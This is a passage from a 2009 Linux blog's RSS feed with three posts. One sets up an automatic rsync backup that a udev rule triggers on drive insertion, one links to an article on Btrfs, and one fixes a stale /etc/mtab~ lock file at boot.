		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Automatic backup when inserting a drive</title>
		<link>http://www.phocean.net/2009/09/28/automatic-backup-when-inserting-a-drive.html</link>
		<comments>http://www.phocean.net/2009/09/28/automatic-backup-when-inserting-a-drive.html#comments</comments>
		<pubDate>Mon, 28 Sep 2009 09:34:11 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[Scripts, Programs]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Backup]]></category>
		<category><![CDATA[hal]]></category>
		<category><![CDATA[script]]></category>
		<category><![CDATA[udev]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=419</guid>
		<description><![CDATA[I bought a 500 GB 2.5&#8243; external disk drive to backup the data of my laptop. It is small, quiet, easy to move and far enough for the important data I want to backup, mostly documents, e-mails or script from work. Being lazy, it happened that I did not backup my data. Yes, it is [...]]]></description>
			<content:encoded><![CDATA[<p>I bought a 500 GB 2.5&#8243; external disk drive to backup the data of my laptop. It is small, quiet, easy to move and far enough for the important data I want to backup, mostly documents, e-mails or script from work.</p>
<p>Being lazy, it happened that I did not backup my data. Yes, it is a shame, but inserting a drive and launching the commands to rsync the discs was preventing me from this best practice.</p>
<p>So, I decided to make it automatic. The goal was that the only thing I would have to do would be to insert the drive, and then remove it when it is done.</p>
<p>Thanks to the magic of Gnu/Linux, it had been very easy. I will show below how I did it, thought they are many things that could be improved (but I haven&#8217;t felt the need so far).</p>
<h2><span style="text-decoration: underline;">Udev</span></h2>
<p><strong>Udev</strong> not only allows to create /dev entries dynamically, but offers a lot of triggers to perfom all kind of actions when some hardware is inserted.</p>
<p>The <strong><em>udevinfo</em></strong> command will show you a lot of output concerning your drive. What we want is a unique way to differenciate the backup drive from any other drive that will be inserted in the future.</p>
<p>What would be better than the manufacturer serial ?</p>
<p>So let&#8217;s look for it :</p>
<pre class="brush: bash;">$ udevinfo -a -p /sys/block/sdc | grep serial</pre>
<p>Copy the serial.</p>
<p>Now we have to create a rule file, that will tell to udev what to do when this particular drive is inserted.</p>
<p>This is done in the <em><strong>/etc/udev/rules.d folder</strong></em>. Let&#8217;s create a file <em><strong>30-mnt.rules</strong></em> or anything you like.</p>
<p>We edit this file so that it contains :</p>
<pre class="brush: plain;">ACTION==&quot;add&quot;,KERNEL==&quot;sd*&quot;,SUBSYSTEMS==&quot;usb&quot;, ATTRS{serial}==&quot;57442D57584E3430394C5A38&quot;, RUN+=&quot;/home/jc/bin/backup/bckp-home.sh %k&quot;</pre>
<p><em><strong>ACTION==&#8221;add&#8221;</strong></em> will tell udev that this action must be triggered when the drive is inserted.<br />
<em><strong>SUBSYSTEMS</strong></em> could be changed according to the drive you are using (scsi, usb, &#8230;).<br />
<em><strong>ATTRS{serial} </strong></em>must contain the serial you just grabbed.<br />
<em><strong>RUN+=&#8221;/path/to/bin/backup.sh %k&#8221;</strong></em> tells udev to launch the backup script. %k, which contains the device name, sdc, is passed as an argument.</p>
<p>Optionally, it is quite convenient, you may want to make a symlink to the <em><strong>/dev/sd?</strong></em> device, with :</p>
<pre class="brush: bash;">KERNEL==&quot;sd*&quot;,SUBSYSTEMS==&quot;scsi&quot;, ATTRS{model}==&quot;GJ0250EAGSQ     &quot;, SYMLINK+=&quot;ultrabay%n&quot;</pre>
<h2><span style="text-decoration: underline;">The shell script</span></h2>
<p>Now, the script itself :</p>
<pre class="brush: bash;">#!/bin/sh
LOGFILE=/PATH/TO/bckp.log
echo &quot;--- BCKP - INFO : \$1=_${1}_&quot; &amp;gt;&amp;gt;$LOGFILE
[[ $1 ]] || { echo &quot;ERROR : missing parameter&quot;&amp;gt;&amp;gt;$LOGFILE; exit 1; }
# give time for the user, if needed to kill the process
sleep 6
MOUNT_PATH=$(grep $(echo $1) /etc/mtab | awk '{print $2}')
[[ $MOUNT_PATH ]] || { echo &quot;ERROR fretching mount point&quot;&amp;gt;&amp;gt;$LOGFILE;
exit 1; }
echo &quot; Synchronizing $MOUNT_PATH)&quot;&amp;gt;&amp;gt;$LOG
# add here all you rsync commands
rsync -av --delete /PATH/TO/DATA $MOUNT_PATH/backup/
...
exit 0</pre>
<h2><span style="text-decoration: underline;">Testing it</span></h2>
<p>Now, let&#8217;s reload udev :</p>
<pre class="brush: bash;">$ sudo udevadm control --reload-rules</pre>
<p>To test if it works :</p>
<pre class="brush: bash;">$ sudo udevadm trigger</pre>
<p>or maybe :</p>
<pre class="brush: bash;">$ /etc/init.d/boot.udev restart</pre>
<p>Plug off/in your drive, and the script should be executed as expected.</p>
<h2><span style="text-decoration: underline;">Optional : setting more options with Hal<strong><br />
</strong></span></h2>
<p>It is not necessary at all for the backup script to work, but it would be very practical to have  a fixed mount point for a drive.<br />
For instance, I use a second drive (in the untrabay slot of my thinkpad) that contains all my virtual machines.</p>
<p>The benefice is to prevent a performance drain of the system when many virtual machines are doing I/O like swapping or anything else.</p>
<p>Create a file like <strong><em>/etc/hal/fdi/policy/15-static-mount.fdi</em></strong>, containing :</p>
<pre class="brush: xml;">&lt;?xml version=&quot;1.0&quot; encoding=&quot;ISO-8859-1&quot;?&gt;
&lt;deviceinfo version=&quot;0.2&quot;&gt;
&lt;device&gt;
&lt;match key=&quot;volume.uuid&quot; string=&quot;aa0019ef-86e0-4011-b996-31ef3e7174c8&quot;&gt;
&lt;merge key=&quot;volume.policy.should_mount&quot; type=&quot;bool&quot;&gt;true&lt;/merge&gt;
&lt;merge key=&quot;volume.fstype&quot; type=&quot;string&quot;&gt;ext4&lt;/merge&gt;
&lt;strong&gt;&lt;merge key=&quot;volume.policy.desired_mount_point&quot; type=&quot;string&quot;&gt;ultrabay&lt;/merge&gt;&lt;/strong&gt;
&lt;merge key=&quot;volume.label&quot; type=&quot;string&quot;&gt;Fuji&lt;/merge&gt;
&lt;merge key=&quot;volume.policy.mount_option.noatime&quot; type=&quot;bool&quot;&gt;true&lt;/merge&gt;
&lt;merge key=&quot;volume.policy.mount_option.acl&quot; type=&quot;bool&quot;&gt;true&lt;/merge&gt;
&lt;/match&gt;
&lt;/device&gt;
&lt;/deviceinfo&gt;</pre>
<p>The drive is matched by it uuid. You can get the uuid of your disk with :</p>
<pre class="brush: bash;">$ ls -la /dev/disk/by-uuid/</pre>
<p>You can, if you want, set the volume label and specify several options of the file system.</p>
<p>However, the most interesting option is the &#8220;desired_mount_point&#8221; one which allow you to fix the mount point. In the example, the disk will always be mounted in <strong><em>/media/ultrabay</em></strong>, and not the system disk, or disk_1, etc.</p>
<h2><span style="text-decoration: underline;">Coming next</span> !</h2>
<p>That&#8217;s all for today folks. Let me know if there are some things not clear or that can be optimized.</p>
<p>Next time, we will see how to run the same script from <strong>Hal</strong> instead. We will also use Zenity to get a nice GUI prompt when the disk is inserted.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/09/28/automatic-backup-when-inserting-a-drive.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Btrfs : a key feature coming to Linux</title>
		<link>http://www.phocean.net/2009/04/23/btrfs-a-key-feature-coming-to-linux.html</link>
		<comments>http://www.phocean.net/2009/04/23/btrfs-a-key-feature-coming-to-linux.html#comments</comments>
		<pubDate>Thu, 23 Apr 2009 14:17:25 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[System]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[btrfs]]></category>
		<category><![CDATA[File system]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=350</guid>
		<description><![CDATA[Great and clear article there from Linux magazine that sums up the new BTRFS file system. I can&#8217;t wait for it to become stable ! UPDATE 2009-02-05 : I hope to see this soon on a Linux distribution.]]></description>
			<content:encoded><![CDATA[<p><a title="BTRFS article" href="http://www.linux-mag.com/id/7308/1/" target="_blank">Great and clear article there from Linux magazine</a> that sums up the new BTRFS file system.</p>
<p>I can&#8217;t wait for it to become stable !</p>
<p>UPDATE 2009-02-05 : I hope to see <a href="http://blogs.sun.com/erwann/entry/new_time_slider_features_in">this</a> soon on a Linux distribution.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/04/23/btrfs-a-key-feature-coming-to-linux.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>/etc/mtab~ issue at startup</title>
		<link>http://www.phocean.net/2009/02/01/etcmtab-issue-at-startup.html</link>
		<comments>http://www.phocean.net/2009/02/01/etcmtab-issue-at-startup.html#comments</comments>
		<pubDate>Sun, 01 Feb 2009 18:20:08 +0000</pubDate>
		<dc:creator>JC</dc:creator>
				<category><![CDATA[Admin]]></category>
		<category><![CDATA[Desktop]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[boot]]></category>
		<category><![CDATA[LVM]]></category>
		<category><![CDATA[mtab]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=321</guid>
		<description><![CDATA[I don&#8217;t know how it really happened &#8211; probably a VMWare crash that locked my file system, but after a reboot I got this message at startup : Cannot create link /etc/mtab~ Perhaps there is a stale lock file? As a result, some of the partitions were not mounted and the system was pretty much [...]]]></description>
			<content:encoded><![CDATA[<p>I don&#8217;t know how it really happened &#8211; probably a VMWare crash that locked my file system, but after a reboot I got this message at startup :</p>
<pre class="brush: plain;">Cannot create link /etc/mtab~
Perhaps there is a stale lock file?</pre>
<p>As a result, some of the partitions were not mounted and the system was pretty much broken.</p>
<p>But, no need to panic, just erase all the lock files (be careful not to erase the mtab file itself !) :</p>
<pre class="brush: bash;">$ rm /etc/mtab~*</pre>
<p>Now test mounting your partitions to check that you don&#8217;t get this message anymore :</p>
<pre class="brush: bash;">$ mount -a</pre>
<p>If it is alright, reboot and it should be fine.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/02/01/etcmtab-issue-at-startup.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
